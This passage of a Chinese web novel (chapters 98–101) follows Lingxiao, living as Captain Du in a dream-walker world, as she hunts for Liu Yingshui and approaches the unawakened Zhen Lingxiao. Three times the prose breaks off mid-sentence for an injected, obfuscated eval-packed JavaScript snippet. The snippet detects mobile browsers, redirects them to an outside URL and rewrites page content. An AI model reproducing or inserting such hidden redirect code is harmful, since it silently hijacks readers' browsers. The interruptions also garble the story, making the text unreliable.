“我大致知晓了，不过该如何寻找他？”凌霄刚合上信纸，就看到这份记忆自动消失在了空气之中，显然具有自动销毁的特性。 “我们目前的方案是根据刘应水大人与现实人类的关联性，排查他们的个人梦境。”林云章一板一眼开始讲解计划，“刘应水大人提前做的预备方案十分精准，它现在的性质似乎是‘漂流’，没有任何主观性，随着梦境流动。我们目前只在林语莲的梦境里目睹过不曾观测过的梦境居民。” 林云章抬起自己左手手腕上的表带，于空中投影出了泛着淡淡蓝光的丝线：“所有梦境居民全部登记在册。因此这位新产生的不明幻象变成为了最大的可能性。不过对梦境居民的观测需要在三次之上才能成功登记，从而分析构建出更加完整的形态资料。我们需要继续在与刘应水大人相关的梦境里进行寻找。” 凌霄低头看了眼自己的左手，果然也看到了类似的装置，这是御梦者统一分配的身份信息认证，也是监测梦境世界的工具，只会在进入梦境世界后出现。背后凝聚了许多位技术型御梦者的心血。 “好的，我知道了。”凌霄点头表示自己接受了接下来的计划。 99. 098 与凌霄交代完了最重要的注意事项，神情冷淡的林云章这才有空闲去理会自己的同位体：“刘应水大人已经推测出你是去往另一个平行世界的锚点，所以你也需要参与到这个计划之中。在除了我个人梦境之外的梦境世界里我们会回到普通的依凭状态，鉴于我与两位杜凌霄都没有什么交集，姑且就将主要控制权交给你了。” “你不早点说！”江云章没好气的瞪了自己的同位体一眼。他刚才一直在为自己与林云章这个本地人一分为二，无法使用本土世界的能力而担心。因为凌霄显然不会带着一个拖油瓶去执行严肃的任务。 “我最为主要的任务是与凌霄达成共识，并不是向你解释。只要我们离开了我的个人梦境，你自然会看到我的记忆，了解你的处境。我并不想多费口舌。”林云章冷漠相对。 凌霄没有理会二人的口头纠纷，而是借着林云章为自己空出来的整理统合信息时间，开始翻阅杜队长的记忆。 她已经无师自通理解了如何在梦境世界中使用通讯设备。因此迅速调动自己体内的梦境力量，拿出手机开始和自己的队员进行沟通。 这位同位体杜凌霄是一支隶属于官方的猎梦者小队队长。负责处理梦境世界与御梦者们所造成的各种突发事件，包括但不限于解决袭击现实世界的梦泡、处理一些定期需要检查维修的编号梦境、帮助新觉醒的御梦者掌握自己的能力并解决他们暴走造成的灾祸等等。 “既然要从有所关联的人物开始排查，那我就按照我经历平行世界总结出的人际关系来寻访了。”凌霄已经确定好了第一批搜查的人选，“你们研究所除了林语莲以外都没有线索，我推荐从冯舞清、聂雨林、江冥蝉、甄令潇或是甄令满开始搜寻。” 凌霄原本规划处的任务对象还包括了林云章何伟铭范千桑和自己。不过前三位都是刘应水研究所中的成员，通过调查已经排除了搜寻名单。而杜队长每天都会兢兢业业维护自己的梦境状态，凌霄并没有在她的梦境中看到陌生的身影。 “好的。”林云章没有异议，“冯舞清与聂雨林是你的队员不需要我们插手。江冥蝉是江家人，还是你队员江云光的哥哥，比起研究所还是猎梦者更加适合。甄令潇与甄令满这两个名字我记住了，我会去调查。” 不等江云章为凌霄打抱不平任何林云章的任务分配丝毫不合理，林云章的目光便已经转向了他：“你也是平行世界的来客，你知道这两个人的样貌和基本信息吗？” “知道。”他立刻点头，向凌霄保证，“我会协助尽快调查他们在这个世界的情况。” 刀赤城江云章的记忆里还留存着甄令满战斗时候的姿态，而这对双生子之间的渊源也早在他们质问凌霄时让江云章明白了大概。他很有自信能够完成好这个任务。 凌霄冲着他点了点头，略微思考后还是加上了一句：“交给你我很放心。” 既然前往同位体的世界可能需要江云章这个亲历者提供锚点，她也理应在态度上有所表示，对自己的队友好一些。 江云章眼中光芒大盛，当即拉着林云章就要开始商讨具体的行动计划。虽然他对一口一个刘应水大人并且明显与生母林语莲关系良好的林云章十分嫌弃，但并不妨碍他利用对方研究所的身份与资源完成凌霄的任务。 一直波澜不惊的林云章同样对一惊一乍的同位体嫌弃异常，尤其是对方与自己速来不合的江冥蝉一个姓氏。他没有理会同位体的言语，只是将自己的目光放在了凌霄身上：“既然接下来的行动计划已经安排好，我就暂时关闭梦境让你回到现实世界了。接下来可以手机联系，需要保密的内容可以主动邀请我去你个人的梦境世界谈话，具体的操作方案杜队长的记忆里一定有，就不需要我来解释了。” 他冲着凌霄礼貌地点了点头，随后抬手一挥，将周围的雾气全部牵引了过来。 凌霄眼前的视野一暗，使得她情不自禁按照这具身体的下意识习惯闭上了眼睛。等她再次恢复视力，便发现自己回到了杜队长的住处。构造温馨的房间里充斥着阳光与温暖的味道，与林云章个人梦境中弥漫不散阴冷潮湿的黑雾截然不同。 她在记忆里搜寻了一番个人梦境中的种种模样，不得不摇头嫌弃了一番林云章的待客之道。就算没有温暖而舒适的环境，好歹也该提供最基础的桌椅，从而展示对这个合作的诚意。 杜队长的记忆恰到好处为凌霄解释了相应的缘由：林云章是刘应水副手林语莲的儿子，从小在母亲教养下长大的他将母亲实用主义的风格学习了十成十，以探索研究为己任，全部的热情与心力都扑在了对梦境世界的研究之中，是个名副其实的工作狂。 她在现实中掏出了自己的手机，就着刚刚输入了一半的文字框，打完了自己想要说的全部话语。 杜队长的猎梦者第一小队包括队长在内一共有五个人，分别是刚刚通过考核入队的江云光、与杜队长青梅竹马一块长大的鄢眀济、更加喜欢在梦境世界久住的聂雨林与刚刚成为御梦者并被杜队长招募的冯舞清。 而凌霄第一时间便已经询问了聂雨林与冯舞清她们的个人梦境最近有没有发生什么变化，刚才则是在编辑语言和江云光解释自己接到的新任务，并希望她能代替自己联系上江冥蝉。 由于御梦者人数稀少却承担了维护现实世界安全和平的重任，因此每一个御梦者的觉醒都被视为世界稳定前进的好消息。这使得在上一代拥有两位御梦者的江家得到了飞速发展，必须抵御的外敌让下一代之间的联络也更加紧密。至少杜队长的记忆之中，江家姐妹与江冥蝉的关系并不糟糕，云光有时候还会带着哥哥姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281061|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐给自己买的零食分享给队友们。 “好的队长。”江云光立刻回复了凌霄的消息，“我会联络冥蝉哥的。”她显然对凌霄吩咐下来的任务十分激动，立刻决定一定要尽快完成。 于此同时，冯舞清那边的回信也显示在了凌霄的手机屏幕上。 “报告队长，没有任何异常。”冯舞清的语气十分谦逊，“自从队长叮嘱之后我每日都在认真检查，并且昨天刚刚结束了叶医生的诊察。我最近状况稳定，完全没有问题。” 凌霄心情复杂阅读着这条消息。 冯舞清如此谦逊的原因恰恰因为她的危险性。她差点就被梦境管理局当做不可控的危险，取消御梦者资格，被封印成为编号梦境控制起来。是杜队长顶着层层压力为冯舞清做担保，并将她收入自己的小队作为监视，才让冯舞清得以回归现实世界自由活动。否则她可能永远都要被囚禁在自己的梦境里了。 当然，让梦境管理局做出如此初步判断自然有它的原因。冯舞清对真理和现实的渴望催化了她的个人梦境，使得她作为御梦者觉醒的那一天，竟然破天荒连接上了已经被封印的编号001的【真实】梦境。 闯入封印并不可怕，顶多只会被当做是独特的天赋被培育起来。然而冯舞清出乎意料竟然与【真实】进行了无人知晓的交易。最终等她脱离【真实】梦境的时候，她已经永远意义双重失去了自己的眼睛，却获得了在梦境世界勘破现实的真实之眼，对构建在现实社会倒影上的梦境来说堪称无与伦比的大杀器，能够轻易动摇许多梦境世界的稳定性。 她的能力成为了一把双刃剑。破坏力与可塑性同样不容小觑。对她性格的种种分析让梦境管理局举棋不定，犹豫该如何处理违规获得的不可控能力。最终，由梦境管理局局长杜飞光批准，猎梦者第一小队队长杜凌霄成为了冯舞清的指定监护人，负责监视对方对现实世界与梦境世界的影响，并约束她的行动。 另一边，得偿所愿的冯舞清丝毫不在意自己需要付出的代价，毕竟她最开始做出选择时，哪怕付出自己的性命也在所不惜。比起死亡，今后被梦境囚禁失去自由也变得轻松起来。因此能够自由活动在现实世界里反而出乎她的预料。她热情地感谢了杜队长对自己的信任和付出，并拿出了最好的态度，努力而安分地融入了猎梦者小队。 综合来说，应该是个皆大欢喜的结局。 凌霄立刻将冯舞清被排除发送给了林云章。 她本就没指望过立刻找到刘应水的踪迹，因此对不利开局也没有感到失望。只是向上滑动看了看杜队长与冯舞清之间友好而礼貌的聊天记录。 江冥蝉那个自视甚高不喜欢看消息的性格，联系上他可能还需要些时间。喜欢安静的聂雨林应该还在个人梦境中，要不要现在去打扰对方呢…… 100. 099 追求效率的凌霄没有犹豫太长时间，最终决定在熟悉梦境力量的同时去找聂雨林交换情报。 她按照记忆中的步骤闭上了自己的眼睛，暂时隔绝了对现实世界的感知。随后在繁杂的梦境印记里找到了携带着聂雨林气息的那一块，轻敲图纹。 聂雨林并未对自己的队长设防，因此凌霄在触碰到印记后立刻感受到轻微的失重感，还没来得及分析自己到底是上下颠倒了一番还是凭空坠落，便再一次得到了脚踏实地的正常反馈。即便她依旧在自己的记忆里没有睁开过眼睛，一片绿意盎然广阔无边的草原却无声在她的视野中蔓延开来。 微风带来了青草的气息，吹动繁茂的野草们肆意生长。四散开来的动物们一派和谐，悠然自得享受着自然的馈赠。 这幅祥和安然的图景只有声音成为了唯一的败笔。于是将原本理应茁壮生长的生气变成了混合着些许违和感的虚假图景。仿若真空般的死寂到底是掐灭了原本应有的自然之声，无论是温顺吃草的羊群还是被风吹动的植物，都变成了无声的默剧。 不过只要这幅场景的主人喜欢，再怎么充满违和感也根本算不上大事。 厌恶自己敏锐听力的聂雨林好不容易得到了一个能够喘息的机会，自然剥夺了自己梦境世界中所有物体发声的权利，将死寂还给了自己的耳朵与大脑。只图一片清净。 凌霄踩着青翠欲滴的草叶，开始寻找聂雨林的身影。 她没有多费功夫，很快就在毛茸茸的小动物们之中发现了席地而坐正在抚摸猫咪的聂雨林。对方束起了自己的长发，安安静静在自己的世界中享受着生命的温度和震动。 可控范围内的听力以及预留的清净之地成功拯救了聂雨林的心情。使得凌霄曾在她眉眼间观察到的压抑与不耐烦全部烟消云散，梦境世界中只有一位轻轻哼着不知名曲调的温婉女子，惬意地享受着自己为自己定制的无边寂静。 无声是聂雨林梦境的准则，所以凌霄想要出口的话都变作了文字浮现在了她周围。 聂雨林思索了一番才给出了答案。由于她是梦境的主人，因此寂静的准则并不会发生在她身上，她张口回应了凌霄的询问：“昨天确实有一只小羊身上出现了不知名的蓝色光芒和丝线。但是今天便已经消失不见了。若是凌霄没有来问我，我可能也会在观察一番以后向你汇报情况。” 她冲着不远处的羊群招了招手，于是很快便有一只通体雪白身材较小的羊羔蹦蹦跳跳向着二人跑来。它先是好奇地打量了一番凌霄这个不认识的外来者，懵懂的眼瞳中写满了疑惑，随后拱了拱聂雨林的手，差点把对方膝盖上的狸花猫给挤下去。 脾气不小的猫咪冲着小样张开了嘴，并且一巴掌把小羊拍退了好几步。胆小的羊羔立刻跑到了凌霄身后，被猫咪吓得不敢接近自己的主人。 “它看上去没有什么异常。”聂雨林将自己的结论告知凌霄，并抽出了自己昨天的记忆丝线将其交到了凌霄手中。 从凌霄掌心冒出来的金色光芒汇聚成为了透明的水晶球，将如星光般闪烁着的记忆丝线包裹其中。凌霄检查了一番聂雨林记忆中的未知异常，对自己亲自前来走一趟的结果还算满意：“确实是研究所猜测的刘应水新姿态。再有一张记忆碎片，就可以交给梦境图鉴自主完善资料了。” 梦境图鉴在拥有三张真实记忆的情况下便能够顺利拼合出刘应水的完整姿态，并且成功定位刘应水这个新梦境居民的特性与姿态，可谓是十分方便的工具。 自己的记忆派上了用场让聂雨林脸上也绽放出了些许笑容：“让冯舞清看几眼也能提供些线索吧。这种不定的流动痕迹应该也算在她的视野范围内。” 她已经将冯舞清视作了自己的队友，自然无视了对方的杀伤力，只将其当做与自己一样应该为队长分忧的同伴。 “若是初步计划没能取得什么有效进展，再派她上阵也不迟。”凌霄没有立马答应。冯舞清的眼睛会让无主的梦境世界产生各种随机动荡，若是刘应水顺着新产生的波动漂流而去反倒是得不偿失了。 她对自己的判断有一定的自信心。刘应水也是一个眼高于顶只承认一小部分才华的家伙，就算变成了梦境居民估计也不会改进这个习惯。凌霄提出来的名单基本上已经包括了能让刘应水心有所感乐意交流的人员，理应顺利找到“漂流”的姿态。 她的思绪带动了杜队长的记忆，于是想起了另一个熟悉的名字。 曾经是最年幼御梦者的梅凝海随着时间的流逝，逐渐无法掌控自己的个人梦境，导致失控的梦境开始吞噬周围漂浮着的无主梦泡与现实世界的屏障。为了防止自己的个人梦境成为永无休止的人间地狱，梅凝海主动接受了梦境管理局的各种解救方案。最终在十岁那年无路可退，选择了对旁人以及世界来说危险性最小的那条道路。 她被封印为010号【黑洞】，至今仍然沉睡在梦境管理局的监狱之中。 “我知道了。” 聂雨林的回应打断了凌霄的思绪。事情已经解决的凌霄决定尽快退出，免得打扰聂雨林心心念念的寂静世界与独处时间。 她不需要和能够并肩作战交付性命的队友客套，因此简单告别之后便转身离开，回到了现实世界。聂雨林提供的记忆已经通过了梦境图鉴的审核，现在刘应水的真容只剩最后一张记忆便可以达成协定了。 另一边，研究所对甄令满与甄令潇的调查也已经得到了初步的结论。这个世界并不存在甄令满此人，甄令潇是一位目前没有特殊能力但成绩优秀的好学生，并且是父母的独生女。 出于对凌霄判断的信任，江云章还派了几个研究所的人员前往甄令潇身边调查情况。更加详细的调查报告短时间内没有那么容易拿到，但是测量出甄令潇周身的梦境力量十分活跃，可能是一位潜在的未觉醒御梦者还是非常容易的。 凌霄一边完成杜队长的任务，一边思索该如何推进调查。 江冥蝉那边的情况已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292271|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经由江云光转告给了她。和凌霄一样同为猎梦者的江冥蝉只热衷于战斗，在彻底了解了杜队长能力之后才一改自己高傲的态度，谦逊到将自己放在比杜队长还低的位置。他对杜队长的在意使得一下子便猜到了妹妹突然的询问是否来自杜队长的授意，自然是知无不言态度端正，就差没加几句感谢杜队长的关心了。 于是凌霄对没有寻到刘应水行踪的可惜变成了对江冥蝉的无奈。她口头礼貌答复了几句，成功将江冥蝉想要加上私人聊天方式的意图给敷衍了过去。 她不会对杜队长的人际关系做出太大改变，并且从记忆里感受到了杜队长的平淡。因此也就决定维持这种不远不近的关系。 倒确实还是用自己的身份更加随意些。凌霄处理着杜队长堆积的文件，心绪飞散。 倘若是完全属于自己的世界，她与江云章之间如何相处都不会生出任何麻烦。 她写到一半的签名突然一顿，恍惚察觉到了自己心意上的些许不同之处。但随即还是转换思绪，并没有就此发散。 当务之急还是每一分每一秒都在被吞噬的海水世界以及那些无辜的灵魂，凌霄没有那么多的时间去考虑风花雪月之间的事情。她对情爱颇有些疏离，印象最深的还是度邪神君与桃正谦各自安好的决定。 度邪神君的战场强度过高劳累不堪，使得凌霄与她一直是交替存在，昼夜杀敌。神君心怀天下，从未觉得自己以身作则奋战在前线有何不妥之处。作为副手的桃正谦为她处理了所有繁杂的内务，承担了她所厌倦的枯燥工作。追随者神君完成了一统天下平定魔族的伟业。 他眼里的情谊与爱意满到快要溢出来。 战争胜利之时，天下归一，三界太平。神君终于能够卸下所有强加而来的重任，游山玩水畅游天下。于是临走前她询问桃正谦是否要和自己一起欣赏一番太平河山的美好。 神君原本对桃正谦的答案胸有成竹。她很清楚对方于自己身上寄托的情感，记得对方凝望自己的眼神，也后知后觉察觉到了这份距离隐藏着的真实心意。她从未接触过爱情，但已经被桃正谦扰乱了些许心神，在天下安危已定拥有空闲时间的现在，她愿意主动上前一步接触自己从未触碰过的感觉。 但是桃正谦拒绝了她。 清贵淡雅如同苍翠绿竹的男子向着她一拜，脸上是毫无破绽的微笑。 蒙君厚爱，深表歉意。 神君在他的眼眸里看到了他的选择。 刚刚平稳下来的三界仍然旧患重重，新造就的秩序还需要精心维护才能经得住时间的考验。神君爱重的和平，他不会容许丝毫波澜。神君所付出的鲜血，他务必要加倍让三界偿还。 何况有他坐镇，神君才能更加安心，心无挂念，游历四方。 所以他拒绝了这个仅此一次的机会。 哪怕知晓这一步可能使得自己得偿所愿，也依旧坚定自己的所思所想。 最终，度邪神君选择了和他再见。 101. 100 凌霄并不清楚度邪神君和桃正谦的后续，但她作为短暂的旁观者还是因此对爱情采取了疏远的态度。 这二人之间的战友之情与同伴之谊深刻而诚挚，就像桃正谦对度邪真君的爱慕之情一样纯粹动人。没人能否定桃正谦的付出，他主动选择为度邪神君镇守后方，甚至将战后难得的修养时间全部都花在了工作上。 只可惜新一阶段度邪神君所需要的并不是这样的爱意，倘若她眼中已经将他视为能与自己并肩的未来伴侣，那么他也理所应当感受到神君希望他多加休息享受假期的心意。两人的选择背道而驰，却又彼此心知肚明。 桃正谦不会因为度邪神君靠近自己的这一步而动摇。 他对自己誓死守卫下来的三界也并非没有感情，比起耗费心神维系一个飘忽不定的机遇，他宁愿将自己这辈子剩下的时间都花在守卫神君的战功上。他从一开始就没有奢望过神君会为优柔寡断的自己回头，因而从一开始便毫不动摇，态度坚定地用自己的方式维护着神君所钟爱的三界和平。 度邪神君不会给桃正谦第二次机会。 这并非单纯的颜面问题。她向来说一不二，公平公正，这才得到了无数仙人的认可与追随。桃正谦是她递出橄榄枝的有缘人不假，但也同时是她的下属，听凭她的命令行事，了解她的行为准则。桃正谦不可能不知道拒绝的后果，却依然不假思索地选择，那么他也理应承受相关的后果。神君是在战场上厮杀出来的功绩与名声，从来没有什么温柔态度。 这二人默认了彼此之间感情的结局。 战争结束后涉及生活的三观分歧严重的可以致命。桃正谦的选择已经让神君意识到了二人再进一步对彼此都是强求。 最终度邪神君消失在了桃正谦眼前，下一次再见遥遥无期。 凌霄也因此彻底对情爱染上了几分疏远之意。倘若表达爱意的一方如同某个云章一样彻底失去了自我，几近依凭，那么这样毫无个人成就与光彩的灵魂自然不值得凌霄并肩与共。但倘若表达爱意的一方过于执着己见，连爱意都无法化解彼此之间的矛盾，那么长久以往相处下去无异于互相折磨，倒不如早日分开。凌霄把握不好这中间的尺度，索性一开始就将情爱丢出了自己的脑海。 不过众多平行世界上演的分分合合，也让她胸中生出了些许对恒定不变的渴望。孤独永远是消磨人类意志的首选，凌霄意识到了自己也许能够得到一个同伴，却又不知道是否该交付信任。 她在心中叹了口气，将神君与桃正谦之间的事情清理出自己的脑海。开始着手如何接近甄令潇，得到对方个人梦境的信息。 梦境管理局由于历史悠久，有一套较为完整的维护现实世界与梦境世界平衡的规则，其中包括了未经梦境主人允许不得擅自对个人梦境出手的规则。为了保护每一个正在觉醒之中的御梦者，梦境管理局对他们的成长进行了全方位的保护，几乎杜绝了所有可能对未开花御梦者造成伤害的举动。 身为梦境管理局直系下属的凌霄自然不可能违背规则，在没有经过甄令潇允许的情况下窥探她个人梦境的情况。因此她选择了迂回政策，在确定甄令潇十有八九是觉醒中御梦者之后，主动将对方的资料提供给了梦境管理局负责教导新人的员工。 在确定了潜在御梦者的身份后，梦境管理局会派出专业的指导员辅助潜在御梦者开发并掌控自己的个人梦境，从而引导对方成为真正的御梦者，为现实与梦境的平衡做出贡献。凌霄选择了这样一个最快接近甄令潇的方法。 她本就是经验丰富实力被誉为当之无愧第一的御梦者，由她前去接触新人自然是手到擒来。为了不让这个凌霄主动申请的任务太过扎眼，桃正谦还派遣了最近刚刚成为御梦者的李兰溪前来协助凌霄。成功让这个任务的难度变成了指导新人的同时引导未觉醒者，这才使得任务难度和杜队长之前独自进行的任务看起来差别没有过大。 凌霄很愿意与李兰溪相处。梦境世界的李兰溪是杜队长在一次御梦者暴走事件中救下来的受害者。那位御梦者的个人梦境爆炸，连锁反应牵扯到了当时尚未觉醒的李兰溪。即便杜队长危急时刻出手保下了李兰溪的性命，爆炸对未觉醒御梦者的伤害依旧十分严重。李兰溪没能彻底成长的个人梦境破碎到全是裂缝。 梦境管理局中医术最为了得的叶青山在检查后也给出了并不算明朗的结论。好消息是有救，坏消息是需要花很长时间才能彻底恢复正常。 在御梦者爆炸事件中失去了家人变成孤儿的李兰溪最终被桃正谦收养，成为了梦境管理局的一员。跟随在富有经验的御梦者身边，慢慢调理自己个人梦境中的裂缝。不过天无绝人之路，李兰溪的遭遇使得她的个人梦境常年分裂又聚合，在未觉醒与觉醒的两种状态中切换。这反而造成了她对未觉醒的个人梦境感官敏锐，在引导新晋御梦者时总能根据自己的经验和特殊感官给出相当中肯的建议。 她生性坚韧，意志坚定。不仅从未对自己的遭遇产生怨天尤人的想法，还一直非常感激救下自己性命的杜队长与收养自己的桃正谦。甚至还能用自己在那种危急关头捡回一命已经算是万幸来宽慰为她感到担忧的两个大人。经历过的挫折成功将李兰溪磨砺成为了一块美玉，风雨便再也不能打湿她的翅膀，让她对命运妥协。 知晓了李兰溪在梦境世界遭遇的凌霄自然心疼不已。但她没有为了这个坚强孩子伤春悲秋的权力，因此早早开始调整自己的情绪，好让自己用李兰溪希望得到的尊重去面对这个正在茁壮成长的少女。 “杜队长！”一见到凌霄，李兰溪便露出了高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305766|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容，小跑着向她赶来。 坎坷的遭遇没能在李兰溪的面容上留下任何一丝阴霾。她甚至还能够及时调整自己的情绪。除了最开始因为许久不见忙碌的凌霄，露出了分外惊喜的表情以外，后面便一直压抑着自己的欣喜，好让自己能够在仰慕的长辈面前露出一副可靠的模样。 她若是板起面孔学着桃正谦的模样，展露出波澜不惊的神情，倒确实能够将不熟悉她的陌生人骗过去。可她面前站着的是分外了解她性格的凌霄，不费吹灰之力就在她棕色的眼瞳里找到了还没有消散的激动与欣喜。这张年幼的脸庞到底还没有失去朝气与希望，于是在凌霄情不自禁带上的滤镜下越看越可爱，越看越让人被感染到同样心情愉悦。 李兰溪刻意在靠近凌霄只有几步的距离时放慢了自己的速度，随后站定向着凌霄行了一礼：“好久不见，杜队长。” “好久不见，兰溪又成长了。”凌霄笑着说道，碍于孩子非常想要表现出自己已经是靠谱大人的自尊心，她没有在外面摸李兰溪的脑袋，“我听桃正谦说你最近成绩也非常好。” 李兰溪骄傲地扬起了头。 她作为半吊子御梦者有了正经编制，但依旧没有忘记完成学业。因此还在作为学生兢兢业业学习考试。桃正谦口中的成绩正是她最近期末考试成绩考到了年级第一。听到来自最崇拜的杜队长的夸奖，她自然心花怒放，连维持自己的大人姿态都顾不上了。 初步寒暄结束自然需要进入正题。凌霄与李兰溪坐上车，开始与她交流情报：“基础资料我都已经提前发给你了。这次我们去接触的是一位有些特殊的未觉醒者，我需要她个人梦境中的一些资料。” 凌霄没有细说，因为她与研究所的合作到底并不是官方行为，算得上是私下合作。不过找到潜在御梦者算是好事一桩，才走了梦境管理局明面上的途径。 她口中个人梦境中含有需要信息的例子并不少见。个人梦境作为灵魂与欲望的显现和投影，会无形之中显露出主人自己都没能意识到的潜意识，也包括被主人屏蔽的记忆。可以说是获取情报的好地方。这种探查的机密任务不多不少，至少李兰溪知道这种情况存在。 经验算得上是丰富的李兰溪没有多问，只是抬手整理了一下自己证件：“我知道的。我已经对接触新人很有经验了。” 她年龄尚小，处在能够让人不设防的年纪。完全能够在交流之中初步取得将话题延续下去的信任，随后轻微接触对方未觉醒的梦境，从而主动让对方察觉到这种特殊的感官。 “我们兰溪真可靠。”凌霄完全不吝啬自己的夸赞，“我对这种任务还没有太多经验，一会儿可要靠我们兰溪了。” 李兰溪高兴地脸都红了，还是一板一眼装作极为淡定的模样，答应道：“嗯！” 102. 101 宽敞明亮的教室中，讲台上的教授正侃侃而谈，引经据典解读着诗文。 甄令潇坐在教室靠后排的位置，装作认真倾听时不时动笔记下笔记的模样，心绪却早已经飞到了九霄云外。 “好无聊好无聊、太无聊了！简直是在催眠！”她的脑海里回响着男声，对方有些不尊重师长地抱怨道，“你真的不能直接睡觉吗？这样我也就不用非要听这么无聊的诗词了。” “不能。”甄令潇在内心中干脆利落地拒绝道，表面上却仍然装作聚精会神的模样。倘若脑海里没有这扰人的声音，她想必现在也一定和某些同学一样陷入了昏昏欲睡的状态。然而让她血压直线上升的声音成功将她的睡意全部消弭干净。 最近一段时间，她的身体与听觉同时出现了问题。 最明显的状态便是她开始频繁幻听。总是能听到一个有些熟悉的男声与自己在脑海中交谈，对方似乎能和自己心念互通，有时候还能够预判她的表现，简直比她的父母还要了解她隐藏在内心中的另外一面。 虽然明面上甄令潇表现出了有些内向安静且乖巧，似乎拥有社交恐惧症的形象。但实际上这只是甄令潇为了应付旁人装出来的弱气一面。她根本懒得维持人际关系并参与社交，同样也更懒得表露出自己潜藏的攻击性。于是构筑出了最为节省能量的应对外界方式，能不与人交流便不与人交流。 可偏偏不知道从哪里冒出来的幻听竟然揭穿了她的真实面目。一边嘲笑甄令潇的能量不够，仅能维持住最为基础的学业研究导致连与人交流的力量都没有，一边又自告奋勇让甄令潇将身体的控制权交给自己，自己替她处理除了研究意外费心费神的那些琐事。 甄令潇立马打了一辆车去医院检查身体了。 这是她第一次拿着除了有些贫血以外其余都无大碍的健康检查报告，却一点都高兴不起来。也是她第一次主动去往繁琐又折腾的医院将自己全方位检查了一遍。 再检查什么心理健康所耗费的能量就更多了，已经开始感到精辟尽力的甄令潇最终选择了网上查询人格分裂的种种表现方式。遗憾的发现自己也并不符合人格分裂的条件。 期间自称甄令满的不明人格开始进行了无止境的抗议：“我才不是什么疾病！也不是什么第二人格！我可是你灵魂的一部分，从你出生起就一直陪同着你，按理来说你应该叫我一声哥哥才对！” 甄令潇面无表情在自己的笔记上加上了四个字：热爱幻想。她犹豫了一下，又为自己的症状添加了几笔：并脑补出了完整的世界观。 “但是按照你的逻辑，难道你不应该是我的弟弟才对吗？”甄令潇指出不明声音的逻辑漏洞。 “我有名字！我叫甄令满，才不是什么不明声音！”对方与甄令潇心意相通，立马就感知到了甄令潇对他的不以为然，当场抗议，“不过也对，我好像确实能算是弟弟……但是我才是在你前面出生的那一个啊！爸爸和妈妈最开始拟定名字的时候，选的是甄令满！” 凌霄继续提笔：超出认知范围但符合逻辑的说辞（尚未证实）、疑似潜意识重男轻女。 甄令满本就暴躁的脾气立刻抓狂：“什么叫重男轻女！我本来就存在，不是你幻想中的弟弟或者哥哥啊！你明明也知道你对自己的性别十分满意，根本不会因为后悔自己不是男人就捏造出来一个弟弟才对！” 甄令潇认为他的措辞符合逻辑，于是划去了重男轻女的总结，改为了潜在意识不安定渴求安全感于是幻想出了拥有能力的男性亲属对自己进行保护。 甄令满已经放弃了和她解释自己的来历。主要是因为他的大脑转速本来就比不上自己优秀的妹妹，不管提出了多少个论据都能被甄令潇找到稀奇古怪的理由反驳。两个人争论到最后两败俱伤，白白耗费了甄令潇原本用来学习的时间。于是甄令潇拿着笔，颤颤巍巍地为自己的病情总结又加上了十几个字：潜意识认为独自研究学习十分孤独，为自己幻想出了一个同伴相处。 脑子不好的甄令满崩溃：“我说了多少遍你真的没病啊！这都是梦境力量才会让我得以成为单独的个体！是你开始觉醒了！” 甄令潇不紧不慢点头：“开始觉醒了幻听幻视幻想与第二人格。” “梦境力量是真实存在的……”说不过妹妹的甄令满想要大哭，谁能有他这个好不容易联系上妹妹还无法证明自己身份的人悲惨，“真的、真的……” “可是我根本感受不到现实世界里还有这种超自然的力量。你怎么向我证明你不是我的幻想？”甄令潇纹丝不动逐一反驳，头脑不好的家伙想要动摇她二十年来坚定不移的唯物主义实在是太天真了。当然，这也可能是她自己在无意识的时候已经对自己的选择产生了动摇，才会出现这种自己与自己争吵的情况。 “只要你承认了我的存在，你的个人梦境就能向你敞开了。到时候你自然而然就能意识到我绝对没有欺骗你。”甄令满再次焦急地解释道。 他与甄令潇之间的情况有些复杂。未觉醒的梦境力量几乎是全部凝聚在一起才唤醒了甄令满这个曾存在于甄家父母与甄令潇过去中的期许。本身未觉醒就导致了力量稀少且难以掌控，现在全部用来维持甄令满的存在，使得他除了与甄令潇沟通之外暂时没有任何多余的能量。 他原本的计划十分简单粗暴。只要甄令潇意识到了他的存在，承认了他的身份，自然而然就会成为御梦者，他也就能够在个人梦境中自由快乐的享受。这导致了他根本没有意识到自己的想象太过美好而现实十分残酷，才进行到第一步就已经完全进展不下去了。 唯物主义者甄令潇油盐不进，直接将他判定为不存在的幻想。 “没门。”甄令潇逻辑清晰，决不允许自己被忽悠，“倘若我被你蛊惑承认了你的存在，那我就一定会成 